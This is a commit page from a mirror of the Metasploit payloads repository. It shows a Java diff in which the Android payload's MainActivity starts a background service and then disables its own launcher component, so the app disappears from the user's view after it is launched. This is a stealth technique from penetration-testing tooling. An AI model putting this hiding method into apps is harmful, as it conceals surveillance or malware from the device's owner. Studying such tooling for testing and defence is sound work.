1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-15 02:35:54 +01:00

Land #104, Android payload: hide MainActivity from the app switcher after launch

This commit is contained in:
Brent Cook 2016-07-11 23:16:55 -05:00
commit 44b3df5ea7
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96

View File

@ -1,14 +1,27 @@
package com.metasploit.stage;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(this, MainService.class));
disableActivity();
finish();
}
private void disableActivity() {
PackageManager packageManager = getPackageManager();
ComponentName componentName = new ComponentName(getApplicationContext(),
MainActivity.class);
packageManager.setComponentEnabledSetting(componentName,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
}